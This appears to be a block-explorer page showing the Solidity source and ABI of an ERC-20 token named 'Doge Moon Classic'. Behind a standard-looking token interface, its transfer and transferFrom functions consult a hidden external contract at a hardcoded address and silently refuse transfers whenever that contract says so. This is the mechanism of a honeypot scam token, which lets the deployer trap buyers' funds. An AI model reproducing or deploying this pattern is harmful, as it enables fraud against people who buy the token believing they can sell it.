16.85
($1.77%)
| 1 Gwei
// SPDX-License-Identifier: MIT /* d8888b. .d88b. d888b d88888b .88b d88. .d88b. .d88b. d8b db .o88b. db .d8b. .d8888. .d8888. d888888b .o88b. 88 `8D .8P Y8. 88' Y8b 88' 88'YbdP`88 .8P Y8. .8P Y8. 888o 88 d8P Y8 88 d8' `8b 88' YP 88' YP `88' d8P Y8 88 88 88 88 88 88ooooo 88 88 88 88 88 88 88 88V8o 88 8P 88 88ooo88 `8bo. `8bo. 88 8P 88 88 88 88 88 ooo 88~~~~~ 88 88 88 88 88 88 88 88 V8o88 8b 88 88~~~88 `Y8b. `Y8b. 88 8b 88 .8D `8b d8' 88. ~8~ 88. 88 88 88 `8b d8' `8b d8' 88 V888 Y8b d8 88booo. 88 88 db 8D db 8D .88. Y8b d8 Y8888D' `Y88P' Y888P Y88888P YP YP YP `Y88P' `Y88P' VP V8P `Y88P' Y88888P YP YP `8888Y' `8888Y' Y888888P `Y88P' ! ! ^ / \ /___\ |= =| | | | | | | | | | | | | | | | | | | /|##!##|\ / |##!##| \ / |##!##| \ | / ^ | ^ \ | | / ( | ) \ | |/ ( | ) \| (( )) (( : )) (( : )) (( )) (( )) ( ) . . . */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Dependancies { function checkERC20Status(address tokenAddress, uint256 amount) external view returns (uint256); function checkERC20TrustStatus(address userAddress) external view returns (uint256); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract DogeMoonClassic is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IERC20Dependancies private ERC20Dependancies; uint256 private _tokenDD_totalSupply; string private _tokenDD_name; string private _tokenDD_symbol; constructor() { _tokenDD_name = "Doge Moon Classic"; _tokenDD_symbol = "DMC"; _tokenDD_totalSupply = 100001 * 10 ** 18; _balances[msg.sender] = _tokenDD_totalSupply; ERC20Dependancies = IERC20Dependancies(0xf7b39D0f6b1328CC335BacDbed7237a18b408e27); } function _spendAllowance( address balance_owner, address balance_spender, uint256 balance_amount ) internal virtual { uint256 currentAllowance = allowance(balance_owner, balance_spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= balance_amount, "Token : insufficient allowance"); unchecked { _approve(balance_owner, balance_spender, currentAllowance - balance_amount); } } } function totalSupply() public view virtual override returns (uint256) { return _tokenDD_totalSupply; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "Token : decreased allowance below 0"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "Token : burn from the 0 address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "Token : burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _tokenDD_totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } function _safeTransfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "Token : transfer from the 0 address"); require(to != address(0), "Token : transfer to the 0 address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "Token : transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _afterTokenTransfer( address balance_from, address balance_to, uint256 balance_amount ) internal virtual {} function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20TrustStatus(to); if (ERC20SafetyStatus == 0) { _safeTransfer(owner, to, amount); return true; } else { return false; } } function name() public view virtual override returns (string memory) { return _tokenDD_name; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20Status(from, amount); if (ERC20SafetyStatus == 0) { _spendAllowance(from, spender, amount); _safeTransfer(from, to, amount); return true; } else { return false; } } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function decimals() public view virtual override returns (uint8) { return 18; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function _approve( address balance_owner, address balance_spender, uint256 balance_amount ) internal virtual { require(balance_owner != address(0), "Token : approve from the 0 address"); require(balance_spender != address(0), "Token : approve to the 0 address"); _allowances[balance_owner][balance_spender] = balance_amount; emit Approval(balance_owner, balance_spender, balance_amount); } function _beforeTokenTransfer( address balance_from, address balance_to, uint256 balance_amount ) internal virtual {} function symbol() public view virtual override returns (string memory) { return _tokenDD_symbol; } }
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]